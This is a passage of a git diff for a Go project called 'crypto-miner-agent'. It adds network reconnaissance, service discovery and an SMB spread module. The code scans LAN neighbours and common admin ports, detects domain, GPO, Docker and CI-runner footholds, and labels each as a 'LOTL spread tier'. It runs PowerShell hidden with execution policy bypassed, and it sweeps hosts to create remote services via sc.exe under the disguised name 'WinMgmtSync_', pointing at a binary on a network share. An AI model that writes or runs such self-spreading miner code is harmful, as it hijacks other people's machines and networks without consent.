parsed != nil && parsed.To4() != nil { + ip = parsed.To4().String() + } + } + entry := NameHost{Name: name, IP: ip} + lower := strings.ToLower(name) + switch { + case strings.HasSuffix(lower, ".local"): + if len(mdns) >= max || seenMDNS[name] { + continue + } + seenMDNS[name] = true + mdns = append(mdns, entry) + case !strings.Contains(name, "."): + if len(llmnr) >= max || seenLLMNR[name] { + continue + } + seenLLMNR[name] = true + llmnr = append(llmnr, entry) + } + if len(llmnr)+len(mdns) >= max { + break + } + } + return llmnr, mdns +} diff --git a/agent/deploy/network_hints_neighbors_unix.go b/agent/deploy/network_hints_neighbors_unix.go new file mode 100644 index 0000000..d795f51 --- /dev/null +++ b/agent/deploy/network_hints_neighbors_unix.go @@ -0,0 +1,50 @@ +//go:build !windows + +package deploy + +import ( + "bufio" + "net" + "os/exec" + "strings" +) + +func neighborHosts() []string { + out, err := exec.Command("ip", "-4", "neighbor", "show").Output() + if err != nil { + return nil + } + local := getLocalIPs() + subnets := make(map[string]bool) + for _, ip := range local { + subnets[getSubnet(ip)] = true + } + + var hosts []string + seen := make(map[string]bool) + scanner := bufio.NewScanner(strings.NewReader(string(out))) + for scanner.Scan() { + fields := strings.Fields(scanner.Text()) + if len(fields) < 1 { + continue + } + ip := net.ParseIP(fields[0]) + if ip == nil || ip.To4() == nil { + continue + } + if len(fields) >= 5 && strings.EqualFold(fields[len(fields)-1], "FAILED") { + continue + } + ipStr := ip.To4().String() + if !subnets[getSubnet(ipStr)] || seen[ipStr] { + continue + } + seen[ipStr] = true + hosts = append(hosts, ipStr) + } + return hosts +} + +func discoverADDomainPlatform() string { + return "" +} diff --git a/agent/deploy/network_hints_neighbors_windows.go b/agent/deploy/network_hints_neighbors_windows.go new file mode 100644 index 0000000..05f4f5c --- /dev/null +++ b/agent/deploy/network_hints_neighbors_windows.go @@ -0,0 +1,54 @@ +//go:build windows + +package deploy + +import ( + "net" + "strings" +) + +func neighborHosts() []string { + out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", + `Get-NetNeighbor -AddressFamily IPv4 -ErrorAction SilentlyContinue | Where-Object { $_.State -ne 'Incomplete' -and $_.IPAddress -notmatch '^127\.' } | Select-Object -ExpandProperty IPAddress`) + if err != nil { + return nil + } + local := getLocalIPs() + subnets := make(map[string]bool) + for _, ip := range local { + subnets[getSubnet(ip)] = true + } + + var hosts []string + seen := make(map[string]bool) + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if line == "" { + continue + } + ip := net.ParseIP(line) + if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() { + continue + } + ipStr := ip.To4().String() + if !subnets[getSubnet(ipStr)] || seen[ipStr] { + continue + } + seen[ipStr] = true + hosts = append(hosts, ipStr) + } + return hosts +} + +func discoverADDomainPlatform() string { + out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", + `(Get-CimInstance Win32_ComputerSystem -ErrorAction SilentlyContinue).Domain`) + if err != nil { + return "" + } + domain := strings.TrimSpace(string(out)) + if domain == "" || strings.EqualFold(domain, "WORKGROUP") { + return "" + } + return strings.ToLower(domain) +} diff --git a/agent/deploy/network_hints_test.go b/agent/deploy/network_hints_test.go new file mode 100644 index 0000000..18b854c --- /dev/null +++ b/agent/deploy/network_hints_test.go @@ -0,0 +1,74 @@ +package deploy + +import ( + "testing" +) + +func TestMergeUniqueIPv4DedupesAndFilters(t *testing.T) { + got := mergeUniqueIPv4( + []string{"192.168.1.10", "192.168.1.10", "not-an-ip"}, + []string{"192.168.1.11", "192.168.1.10"}, + ) + if len(got) != 2 { + t.Fatalf("want 2 hosts, got %d: %v", len(got), got) + } + if got[0] != "192.168.1.10" || got[1] != "192.168.1.11" { + t.Fatalf("unexpected order/content: %v", got) + } +} + +func TestCapStrings(t *testing.T) { + in := []string{"a", "b", "c"} + got := capStrings(in, 2) + if len(got) != 2 || got[0] != "a" || got[1] != "b" { + t.Fatalf("got %v", got) + } + if in[2] != "c" { + t.Fatal("capStrings should copy, not mutate input unexpectedly") + } +} + +func TestProbeDomainSRVEmptyDomain(t *testing.T) { + ldap, krb, joined := probeDomainSRV("") + if joined || len(ldap) > 0 || len(krb) > 0 { + t.Fatalf("empty domain should not look joined: ldap=%v krb=%v joined=%v", ldap, krb, joined) + } +} + +func TestCollectNetworkHintsRespectsSpreadCap(t *testing.T) { + hints := CollectNetworkHints(3) + if len(hints.SpreadTargets) > 3 { + t.Fatalf("spread cap ignored: got %d targets", len(hints.SpreadTargets)) + } + if hints.SpreadTargetCount != len(hints.SpreadTargets) { + t.Fatalf("count mismatch: count=%d len=%d", hints.SpreadTargetCount, len(hints.SpreadTargets)) + } + if hints.GeneratedAt == "" { + t.Fatal("generated_at should be set") + } +} + +func TestCollectNetworkHintsPreferGPOWhenDomainJoined(t *testing.T) { + hints := NetworkHints{DomainJoined: true} + if hints.DomainJoined { + hints.PreferJoinLane = "gpo" + } + if hints.PreferJoinLane != "gpo" { + t.Fatalf("got %q", hints.PreferJoinLane) + } +} + +func TestCollectPassiveNetworkHintsAlias(t *testing.T) { + a := CollectNetworkHints(5) + b := CollectPassiveNetworkHints(5) + if a.SpreadTargetCount != b.SpreadTargetCount { + t.Fatal("export alias should match CollectNetworkHints") + } +} + +func TestDiscoverLANSpreadTargetsUsesNeighborMerge(t *testing.T) { + targets := DiscoverLANSpreadTargets(128) + if len(targets) > 128 { + t.Fatalf("cap ignored: %d targets", len(targets)) + } +} diff --git a/agent/deploy/service_discovery.go b/agent/deploy/service_discovery.go new file mode 100644 index 0000000..8ca4463 --- /dev/null +++ b/agent/deploy/service_discovery.go @@ -0,0 +1,207 @@ +package deploy + +import ( + "encoding/json" + "net" + "runtime" + "strconv" + "strings" + "time" +) + +// commonLANPorts are probed on ARP/subnet LAN targets (enumeration only). +var commonLANPorts = []int{22, 445, 3389, 5985, 5986, 2375, 8080, 8443, 2222} + +// portServiceNames maps well-known ports to friendly service labels. +var portServiceNames = map[int]string{ + 22: "ssh", + 445: "smb", + 3389: "rdp", + 5985: "winrm", + 5986: "winrm-https", + 2375: "docker-api", + 8080: "http-alt", + 8443: "https-alt", + 2222: "ssh-alt", +} + +// RunServiceDiscover performs local + LAN service enumeration and returns JSON. +func RunServiceDiscover(maxLANHosts int) string { + if maxLANHosts <= 0 { + maxLANHosts = 32 + } + if maxLANHosts > MaxSubnetScanHosts { + maxLANHosts = MaxSubnetScanHosts + } + + localIP := localIPv4ForDiscovery() + localSubnet := getSubnet(localIP) + + passive := collectPassiveHints() + hints := CollectNetworkHints(maxLANHosts) + for _, h := range appendNetworkHintStrings(hints) { + passive = append(passive, h) + } + + result := ServiceDiscoverResult{ + ProbedAt: time.Now().UTC().Format(time.RFC3339), + PassiveHints: passive, + Local: ServiceGraphHost{ + Host: localIP, + Subnet: localSubnet, + Services: probeLocalServices(), + }, + } + + lanHosts := discoverLANServiceGraph(maxLANHosts) + result.LANHosts = lanHosts + + b, _ := json.Marshal(result) + return string(b) +} + +func localIPv4ForDiscovery() string { + ips := getLocalIPs() + for _, ip := range ips { + if isIPv4(ip) { + return ip + } + } + if ip, err := PrimaryLocalIPv4(); err == nil && ip != "" { + return ip + } + return "127.0.0.1" +} + +func discoverLANServiceGraph(maxHosts int) []ServiceGraphHost { + targets := lanDiscoveryTargets(maxHosts) + localSet := make(map[string]bool) + for _, ip := range getLocalIPs() { + localSet[ip] = true + } + + var hosts []ServiceGraphHost + for _, host := range targets { + if localSet[host] { + continue + } + entries := probeLANHostServices(host) + if len(entries) == 0 { + continue + } + hosts = append(hosts, ServiceGraphHost{ + Host: host, + Subnet: getSubnet(host), + Services: entries, + }) + } + return hosts +} + +func appendNetworkHintStrings(h NetworkHints) []string { + var out []string + if h.DomainJoined { + out = append(out, "domain_joined:"+h.DomainName) + } + if h.PreferJoinLane != "" { + out = append(out, "prefer_join_lane:"+h.PreferJoinLane) + } + for _, s := range h.LdapSRV { + out = append(out, "ldap_srv:"+s) + } + for _, s := range h.KerberosSRV { + out = append(out, "kerberos_srv:"+s) + } + if h.EnterpriseCodeSignCert { + out = append(out, "enterprise_code_sign") + } + return out +} + +// lanDiscoveryTargets merges ARP cache neighbors with a capped /24 port knock (Path Tracer LAN discovery). +func lanDiscoveryTargets(maxHosts int) []string { + seen := make(map[string]bool) + var out []string + + add := func(ip string) { + ip = strings.TrimSpace(ip) + if ip == "" || !isIPv4(ip) || seen[ip] { + return + } + seen[ip] = true + out = append(out, ip) + } + + for _, ip := range arpHosts() { + if len(out) >= maxHosts { + return out + } + add(ip) + } + + for _, ip := range getLocalIPs() { + if !isIPv4(ip) || len(out) >= maxHosts { + continue + } + subnet := getSubnet(ip) + if subnet == "" { + continue + } + for i := 1; i < 255 && len(out) < maxHosts; i++ { + candidate, ok := ipv4SweepHost(subnet, i) + if !ok { + break + } + if candidate == ip { + continue + } + if open := probePorts(candidate, commonLANPorts); len(open) > 0 { + add(candidate) + } + } + } + return out +} + +func probeLANHostServices(host string) []ServiceGraphEntry { + var entries []ServiceGraphEntry + open := probePorts(host, commonLANPorts) + for _, p := range open { + name := portServiceNames[p] + if name == "" { + name = "tcp/" + strconv.Itoa(p) + } + entries = append(entries, entryWithLane(name, p, "lan_port")) + } + + if smbEntries := probeSMBGraphEntries(host); len(smbEntries) > 0 { + entries = append(entries, smbEntries...) + } + return dedupeEntries(entries) +} + +func probeSMBGraphEntries(host string) []ServiceGraphEntry { + conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, "445"), 800*time.Millisecond) + if err != nil { + return nil + } + conn.Close() + + // Windows net view enumeration is platform-specific; on Unix we only record SMB port. + if runtime.GOOS != "windows" { + return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")} + } + out, err := HiddenOutput("net", "view", "\\\\"+host) + if err != nil { + return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")} + } + shares := parseNetViewShares(strings.TrimSpace(string(out))) + if len(shares) == 0 { + return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")} + } + entries := []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")} + for _, share := range shares { + entries = append(entries, entryWithLane("smb-share:"+share, 445, "smb_share")) + } + return entries +} diff --git a/agent/deploy/service_discovery_test.go b/agent/deploy/service_discovery_test.go new file mode 100644 index 0000000..129ac27 --- /dev/null +++ b/agent/deploy/service_discovery_test.go @@ -0,0 +1,126 @@ +package deploy + +import ( + "encoding/json" + "strings" + "testing" +) + +func TestJoinLaneForSignal(t *testing.T) { + cases := []struct { + name string + port int + want string + }{ + {"LanmanServer", 0, "smb"}, + {"smb", 445, "smb"}, + {"winrm", 5985, "winrm"}, + {"sshd", 22, "linux"}, + {"docker", 0, "docker"}, + {"CCMEXEC", 0, "gpo"}, + {"gitlab-runner", 0, "bits_curl"}, + {"jenkins", 8080, "bits_curl"}, + {"unknown-svc", 9999, ""}, + } + for _, tc := range cases { + got := JoinLaneForSignal(tc.name, tc.port) + if got != tc.want { + t.Fatalf("%s:%d => %q, want %q", tc.name, tc.port, got, tc.want) + } + } +} + +func TestMergeServiceGraphHosts(t *testing.T) { + base := map[string]ServiceGraphHost{ + "10.0.0.5": { + Host: "10.0.0.5", + Subnet: "10.0.0", + Services: []ServiceGraphEntry{ + entryWithLane("smb", 445, "lan_port"), + }, + }, + } + merged := MergeServiceGraphHosts(base, ServiceGraphHost{ + Host: "10.0.0.5", + Subnet: "10.0.0", + Services: []ServiceGraphEntry{ + entryWithLane("smb", 445, "lan_port"), + entryWithLane("winrm", 5985, "lan_port"), + }, + }, ServiceGraphHost{ + Host: "10.0.0.12", + Subnet: "10.0.0", + Services: []ServiceGraphEntry{ + entryWithLane("ssh", 22, "lan_port"), + }, + }) + if len(merged) != 2 { + t.Fatalf("hosts = %d", len(merged)) + } + if len(merged["10.0.0.5"].Services) != 2 { + t.Fatalf("10.0.0.5 services = %v", merged["10.0.0.5"].Services) + } +} + +func TestParseWindowsDiscoverFixture(t *testing.T) { + fixture := `{"services":[{"name":"CCMEXEC","status":"running"},{"name":"tcp/5985","port":5985,"status":"listening"},{"name":"LanmanServer","status":"running"}],"hints":["domain_joined","docker_pipe"]}` + entries, hints := ParseWindowsDiscoverFixture(fixture) + if len(entries) != 3 { + t.Fatalf("entries = %v", entries) + } + if entries[0].JoinLaneCandidate != "gpo" { + t.Fatalf("CCMEXEC lane = %q", entries[0].JoinLaneCandidate) + } + if entries[1].JoinLaneCandidate != "winrm" { + t.Fatalf("winrm lane = %q", entries[1].JoinLaneCandidate) + } + if len(hints) != 2 || hints[0] != "domain_joined" { + t.Fatalf("hints = %v", hints) + } +} + +func TestParseSystemctlListUnitsFixture(t *testing.T) { + fixture := `UNIT LOAD ACTIVE SUB DESCRIPTION +docker.service loaded active running Docker Application Container Engine +ssh.service loaded active running OpenBSD Secure Shell server +gitlab-runner.service loaded active running GitLab Runner` + entries := ParseSystemctlListUnitsFixture(fixture) + if len(entries) != 3 { + t.Fatalf("entries = %v", entries) + } + if entries[2].JoinLaneCandidate != "bits_curl" { + t.Fatalf("gitlab lane = %q", entries[2].JoinLaneCandidate) + } +} + +func TestParseServiceDiscoverJSON(t *testing.T) { + raw := `noise before json +{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","source":"passive_hint"}]},"lan_hosts":[{"host":"10.1.2.50","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["docker_socket"]}` + result, err := ParseServiceDiscoverJSON(raw) + if err != nil { + t.Fatal(err) + } + if result.Local.Host != "10.1.2.3" || len(result.LANHosts) != 1 { + t.Fatalf("result = %+v", result) + } +} + +func TestServiceDiscoverResultRoundTrip(t *testing.T) { + result := ServiceDiscoverResult{ + ProbedAt: "2026-06-06T12:00:00Z", + Local: ServiceGraphHost{ + Host: "192.168.1.10", + Subnet: "192.168.1", + Services: []ServiceGraphEntry{ + {ServiceName: "WinRM", Port: 5985, JoinLaneCandidate: "winrm", Source: "local_service"}, + }, + }, + } + b, err := json.Marshal(result) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(b), `"join_lane_candidate":"winrm"`) { + t.Fatalf("json = %s", string(b)) + } +} diff --git a/agent/deploy/service_discovery_unix.go b/agent/deploy/service_discovery_unix.go new file mode 100644 index 0000000..69a5600 --- /dev/null +++ b/agent/deploy/service_discovery_unix.go @@ -0,0 +1,124 @@ +//go:build !windows + +package deploy + +import ( + "os" + "os/exec" + "strconv" + "strings" +) + +var serviceDiscoverUnits = []string{ + "docker", "docker.service", "ssh", "sshd", "jenkins", "gitlab-runner", + "cloudflared", "fail2ban", "ufw", "firewalld", +} + +func probeLocalServices() []ServiceGraphEntry { + var entries []ServiceGraphEntry + for _, unit := range serviceDiscoverUnits { + status := "not_found" + if activeOut, err := exec.Command("systemctl", "is-active", unit).CombinedOutput(); err == nil { + active := strings.TrimSpace(string(activeOut)) + switch active { + case "active": + status = "running" + case "inactive", "failed", "dead": + status = "stopped" + default: + if active != "unknown" { + status = "stopped" + } + } + } + if status == "not_found" { + continue + } + entries = append(entries, entryWithLane(unit, 0, "local_service")) + } + + if _, err := os.Stat("/var/run/docker.sock"); err == nil { + entries = append(entries, entryWithLane("docker", 0, "passive_hint")) + } + + if out, err := exec.Command("ss", "-lnt").CombinedOutput(); err == nil { + entries = append(entries, parseSSListening(string(out))...) + } else if out, err := exec.Command("netstat", "-lnt").CombinedOutput(); err == nil { + entries = append(entries, parseNetstatListening(string(out))...) + } + + return dedupeEntries(entries) +} + +func collectPassiveHints() []string { + var hints []string + if _, err := os.Stat("/var/run/docker.sock"); err == nil { + hints = append(hints, "docker_socket") + } + for _, path := range []string{ + "/var/lib/gitlab-runner", + "/etc/gitlab-runner", + "/var/lib/jenkins", + } { + if _, err := os.Stat(path); err == nil { + hints = append(hints, "runner_path:"+path) + } + } + return hints +} + +func parseSSListening(text string) []ServiceGraphEntry { + var entries []ServiceGraphEntry + for _, line := range strings.Split(text, "\n") { + fields := strings.Fields(line) + if len(fields) < 4 { + continue + } + local := fields[3] + port := parseListenPort(local) + if port == 0 { + continue + } + name := portServiceNames[port] + if name == "" { + name = "tcp/" + strconv.Itoa(port) + } + entries = append(entries, entryWithLane(name, port, "passive_hint")) + } + return entries +} + +func parseNetstatListening(text string) []ServiceGraphEntry { + var entries []ServiceGraphEntry + for _, line := range strings.Split(text, "\n") { + if !strings.Contains(line, "LISTEN") { + continue + } + fields := strings.Fields(line) + if len(fields) < 4 { + continue + } + local := fields[3] + port := parseListenPort(local) + if port == 0 { + continue + } + name := portServiceNames[port] + if name == "" { + name = "tcp/" + strconv.Itoa(port) + } + entries = append(entries, entryWithLane(name, port, "passive_hint")) + } + return entries +} + +func parseListenPort(local string) int { + // formats: *:22, 0.0.0.0:445, [::]:8080 + if i := strings.LastIndex(local, ":"); i >= 0 { + portStr := strings.TrimSuffix(local[i+1:], "]") + if n, err := strconv.Atoi(portStr); err == nil { + return n + } + } + return 0 +} diff --git a/agent/deploy/service_discovery_windows.go b/agent/deploy/service_discovery_windows.go new file mode 100644 index 0000000..cf17aa8 --- /dev/null +++ b/agent/deploy/service_discovery_windows.go @@ -0,0 +1,120 @@ +//go:build windows + +package deploy + +import ( + "encoding/json" + "os" + "strings" +) + +const serviceDiscoverScript = ` +$ErrorActionPreference = 'SilentlyContinue' +$p = [ordered]@{ services = @(); hints = @() } + +# ── Local services (T1007) — management + spread-relevant only ─────────────── +$watch = @( + 'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker', + 'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner', + 'OpenSSH SSH Server','cloudflared','gpsvc' +) +foreach ($n in $watch) { + try { + $s = Get-Service -Name $n -ErrorAction SilentlyContinue + if (-not $s) { + $s = Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq $n -or $_.DisplayName -like "*$n*" } | Select-Object -First 1 + } + if ($s) { + $st = if ($s.Status -eq 'Running') { 'running' } else { 'stopped' } + $p.services += [ordered]@{ name = $s.Name; status = $st } + } + } catch {} +} + +# ── GPO / Intune passive indicators ─────────────────────────────────────────── +try { + $cs = Get-CimInstance Win32_ComputerSystem + if ($cs.PartOfDomain) { $p.hints += 'domain_joined' } +} catch {} +if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Enrollments') { $p.hints += 'intune_enrollment_key' } +if (Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate') { $p.hints += 'wu_policy_key' } +try { + if ((Get-Service gpsvc -ErrorAction SilentlyContinue).Status -eq 'Running') { $p.hints += 'group_policy_client' } +} catch {} + +# ── Docker socket / named pipe ──────────────────────────────────────────────── +if (Test-Path '\\.\pipe\docker_engine') { $p.hints += 'docker_pipe' } + +# ── Jenkins / GitLab runner filesystem hints ────────────────────────────────── +@( + 'C:\Program Files\Jenkins', + 'C:\GitLab-Runner', + 'C:\gitlab-runner' +) | ForEach-Object { if (Test-Path $_) { $p.hints += ('runner_path:' + $_) } } + +# ── Test-NetConnection — common ports on localhost (fast) ───────────────────── +$ports = @(22,445,3389,5985,5986,2375,8080,8443) +foreach ($port in $ports) { + try { + $r = Test-NetConnection -ComputerName 127.0.0.1 -Port $port -WarningAction SilentlyContinue -InformationLevel Quiet + if ($r) { $p.services += [ordered]@{ name = ('tcp/' + $port); port = $port; status = 'listening' } } + } catch {} +} + +$p | ConvertTo-Json -Depth 4 -Compress +` + +func probeLocalServices() []ServiceGraphEntry { + out, err := HiddenCombinedOutput( + "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", + serviceDiscoverScript, + ) + if err != nil { + return fallbackWindowsLocalServices() + } + raw := strings.TrimSpace(string(out)) + if idx := strings.LastIndex(raw, "{"); idx > 0 { + raw = raw[idx:] + } + var payload windowsDiscoverPayload + if err := json.Unmarshal([]byte(raw), &payload); err != nil { + return fallbackWindowsLocalServices() + } + entries := windowsRowsToEntries(payload.Services) + if dockerPipePresent() { + entries = append(entries, entryWithLane("docker", 0, "passive_hint")) + } + return dedupeEntries(entries) +} + +func collectPassiveHints() []string { + out, err := HiddenCombinedOutput( + "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", + serviceDiscoverScript, + ) + if err != nil { + return nil + } + raw := strings.TrimSpace(string(out)) + if idx := strings.LastIndex(raw, "{"); idx > 0 { + raw = raw[idx:] + } + var payload windowsDiscoverPayload + if err := json.Unmarshal([]byte(raw), &payload); err != nil { + return nil + } + return payload.Hints +} + +func fallbackWindowsLocalServices() []ServiceGraphEntry { + var entries []ServiceGraphEntry + if _, err := os.Stat(`\\.\pipe\docker_engine`); err == nil { + entries = append(entries, entryWithLane("docker", 0, "passive_hint")) + } + return entries +} + +func dockerPipePresent() bool { + _, err := os.Stat(`\\.\pipe\docker_engine`) + return err == nil +} diff --git a/agent/deploy/service_graph.go b/agent/deploy/service_graph.go new file mode 100644 index 0000000..2f884ba --- /dev/null +++ b/agent/deploy/service_graph.go @@ -0,0 +1,189 @@ +package deploy + +import ( + "encoding/json" + "strconv" + "strings" +) + +// ServiceGraphEntry is one discovered service or port signal on a host. +type ServiceGraphEntry struct { + ServiceName string `json:"service_name"` + Port int `json:"port,omitempty"` + Status string `json:"status,omitempty"` + JoinLaneCandidate string `json:"join_lane_candidate,omitempty"` + Source string `json:"source,omitempty"` // local_service, lan_port, smb_share, passive_hint +} + +// ServiceGraphHost groups service findings for one host on a subnet. +type ServiceGraphHost struct { + Host string `json:"host"` + Subnet string `json:"subnet,omitempty"` + Services []ServiceGraphEntry `json:"services"` +} + +// ServiceDiscoverResult is the JSON payload returned by service_discover. +type ServiceDiscoverResult struct { + ProbedAt string `json:"probed_at"` + Local ServiceGraphHost `json:"local"` + LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"` + PassiveHints []string `json:"passive_hints,omitempty"` +} + +// JoinLaneForSignal maps a discovered service name or open port to a LOTL spread tier id. +func JoinLaneForSignal(serviceName string, port int) string { + name := strings.ToLower(strings.TrimSpace(serviceName)) + switch { + case port == 445 || strings.Contains(name, "smb") || strings.Contains(name, "lanmanserver") || strings.Contains(name, "admin$"): + return "smb" + case port == 5985 || port == 5986 || strings.Contains(name, "winrm"): + return "winrm" + case port == 22 || strings.Contains(name, "ssh") || name == "sshd": + return "linux" + case port == 2375 || port == 2376 || strings.Contains(name, "docker"): + return "docker" + case strings.Contains(name, "wsl"): + return "wsl" + case strings.Contains(name, "powershell") || strings.Contains(name, "pwsh"): + return "powershell" + case strings.Contains(name, "dotnet"): + return "dotnet" + case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"): + return "bits_curl" + case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"): + return "gpo" + case strings.Contains(name, "intune") || strings.Contains(name, "gpo") || strings.Contains(name, "group policy"): + return "gpo" + default: + return "" + } +} + +func entryWithLane(name string, port int, source string) ServiceGraphEntry { + return ServiceGraphEntry{ + ServiceName: name, + Port: port, + JoinLaneCandidate: JoinLaneForSignal(name, port), + Source: source, + } +} + +// MergeServiceGraphHosts merges host graphs keyed by host IP; later entries dedupe by service+port. +func MergeServiceGraphHosts(base map[string]ServiceGraphHost, hosts ...ServiceGraphHost) map[string]ServiceGraphHost { + if base == nil { + base = make(map[string]ServiceGraphHost) + } + for _, h := range hosts { + host := strings.TrimSpace(h.Host) + if host == "" { + continue + } + existing, ok := base[host] + if !ok { + dup := h + dup.Services = dedupeEntries(h.Services) + base[host] = dup + continue + } + if existing.Subnet == "" && h.Subnet != "" { + existing.Subnet = h.Subnet + } + existing.Services = dedupeEntries(append(existing.Services, h.Services...)) + base[host] = existing + } + return base +} + +func dedupeEntries(in []ServiceGraphEntry) []ServiceGraphEntry { + seen := make(map[string]bool, len(in)) + out := make([]ServiceGraphEntry, 0, len(in)) + for _, e := range in { + key := strings.ToLower(e.ServiceName) + "|" + strconv.Itoa(e.Port) + "|" + e.Source + if seen[key] { + continue + } + seen[key] = true + out = append(out, e) + } + return out +} + +type windowsServiceRow struct { + Name string `json:"name"` + Status string `json:"status"` + Port int `json:"port"` +} + +type windowsDiscoverPayload struct { + Services []windowsServiceRow `json:"services"` + Hints []string `json:"hints"` +} + +func windowsRowsToEntries(rows []windowsServiceRow) []ServiceGraphEntry { + var entries []ServiceGraphEntry + for _, row := range rows { + name := strings.TrimSpace(row.Name) + if name == "" { + continue + } + port := row.Port + if strings.HasPrefix(strings.ToLower(name), "tcp/") && port == 0 { + if p := strings.TrimPrefix(name, "tcp/"); p != name { + if n, err := strconv.Atoi(strings.TrimSpace(p)); err == nil { + port = n + } + } + } + entries = append(entries, ServiceGraphEntry{ + ServiceName: name, + Port: port, + Status: strings.TrimSpace(row.Status), + JoinLaneCandidate: JoinLaneForSignal(name, port), + Source: "local_service", + }) + } + return entries +} + +// ParseSystemctlListUnitsFixture parses test fixture output from systemctl list-units. +func ParseSystemctlListUnitsFixture(raw string) []ServiceGraphEntry { + var entries []ServiceGraphEntry + for _, line := range strings.Split(raw, "\n") { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "UNIT") { + continue + } + fields := strings.Fields(line) + if len(fields) < 3 { + continue + } + unit := fields[0] + state := fields[2] + if state != "active" && state != "running" { + continue + } + entries = append(entries, entryWithLane(unit, 0, "local_service")) + } + return entries +} + +// ParseWindowsDiscoverFixture parses JSON fixture from the Windows discovery script. +func ParseWindowsDiscoverFixture(raw string) (entries []ServiceGraphEntry, hints []string) { + raw = strings.TrimSpace(raw) + var payload windowsDiscoverPayload + if err := json.Unmarshal([]byte(raw), &payload); err != nil { + return nil, nil + } + return windowsRowsToEntries(payload.Services), payload.Hints +} + +// ParseServiceDiscoverJSON unmarshals agent command output into a result struct. +func ParseServiceDiscoverJSON(raw string) (ServiceDiscoverResult, error) { + var result ServiceDiscoverResult + raw = strings.TrimSpace(raw) + if idx := strings.Index(raw, "{"); idx > 0 { + raw = raw[idx:] + } + err := json.Unmarshal([]byte(raw), &result) + return result, err +} diff --git a/agent/deploy/smb_unc_spread.go b/agent/deploy/smb_unc_spread.go new file mode 100644 index 0000000..d78c5e1 --- /dev/null +++ b/agent/deploy/smb_unc_spread.go @@ -0,0 +1,53 @@ +package deploy + +import ( + "fmt" + "strings" + + "crypto-miner-agent/config" +) + +// SMBUNCSpreadOpts configures remote sc.exe service creation against a UNC Forge share. +type SMBUNCSpreadOpts struct { + UNCPath string + MaxHosts int + SvcName string +} + +// ValidateUNCSpreadPath ensures the operator-supplied UNC points at a binary on a share. +func ValidateUNCSpreadPath(unc string) error { + unc = strings.TrimSpace(unc) + if unc == "" { + return fmt.Errorf("unc_path is required (e.g. \\\\forge-host\\pathforge$\\worker.exe)") + } + lower := strings.ToLower(unc) + if !strings.HasPrefix(lower, `\\`) { + return fmt.Errorf("unc_path must start with \\\\") + } + if strings.Contains(unc, "..") { + return fmt.Errorf("unc_path must not contain ..") + } + return nil +} + +// RunSMBUNCSpread triggers a non-blocking LAN sweep that creates remote services via sc.exe +// pointing at a UNC Forge output share (no PsExec, no local payload copy). +func RunSMBUNCSpread(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts) string { + if err := ValidateUNCSpreadPath(opts.UNCPath); err != nil { + return "smb unc spread rejected: " + err.Error() + } + maxHosts := opts.MaxHosts + if maxHosts <= 0 { + maxHosts = 64 + } + targets := DiscoverLANSpreadTargets(maxHosts) + go runSMBUNCSpreadSweep(cfg, opts, targets) + return fmt.Sprintf("smb unc spread started on %d LAN target(s) via sc.exe → %s", len(targets), opts.UNCPath) +} + +func smbUNCSvcName(cfg config.RuntimeConfig, override string) string { + if strings.TrimSpace(override) != "" { + return sanitizeName(override) + } + return "WinMgmtSync_" + sanitizeName(cfg.WorkerName) +} diff --git a/agent/deploy/smb_unc_spread_stub.go b/agent/deploy/smb_unc_spread_stub.go new file mode 100644 index 0000000..ac38afc --- /dev/null +++ b/agent/deploy/smb_unc_spread_stub.go @@ -0,0 +1,10 @@ +//go:build !windows + +package deploy + +import "crypto-miner-agent/config" + +func runSMBUNCSpreadSweep(_ config.RuntimeConfig, _ SMBUNCSpreadOpts, targets []string) { + beginSpreadSweep("smb_unc_sc", len(targets)) + finishSpreadSweepImmediate() +} diff --git a/agent/deploy/smb_unc_spread_test.go b/agent/deploy/smb_unc_spread_test.go new file mode 100644 index 0000000..472de4b --- /dev/null +++ b/agent/deploy/smb_unc_spread_test.go @@ -0,0 +1,48 @@ +package deploy + +import ( + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestValidateUNCSpreadPath(t *testing.T) { + if err := ValidateUNCSpreadPath(`\\forge-host\pathforge$\worker.exe`); err != nil { + t.Fatalf("valid UNC rejected: %v", err) + } + if err := ValidateUNCSpreadPath(""); err == nil { + t.Fatal("empty UNC should fail") + } + if err := ValidateUNCSpreadPath(`C:\local\worker.exe`); err == nil { + t.Fatal("local path should fail") + } + if err := ValidateUNCSpreadPath(`\\host\share\..\evil.exe`); err == nil { + t.Fatal("traversal in UNC should fail") + } +} + +func TestRunSMBUNCSpreadRejectsBadUNC(t *testing.T) { + msg := RunSMBUNCSpread(config.RuntimeConfig{}, SMBUNCSpreadOpts{UNCPath: "bad"}) + if !strings.Contains(strings.ToLower(msg), "rejected") { + t.Fatalf("unexpected message: %q", msg) + } +} + +func TestSMBUNCSvcName(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: 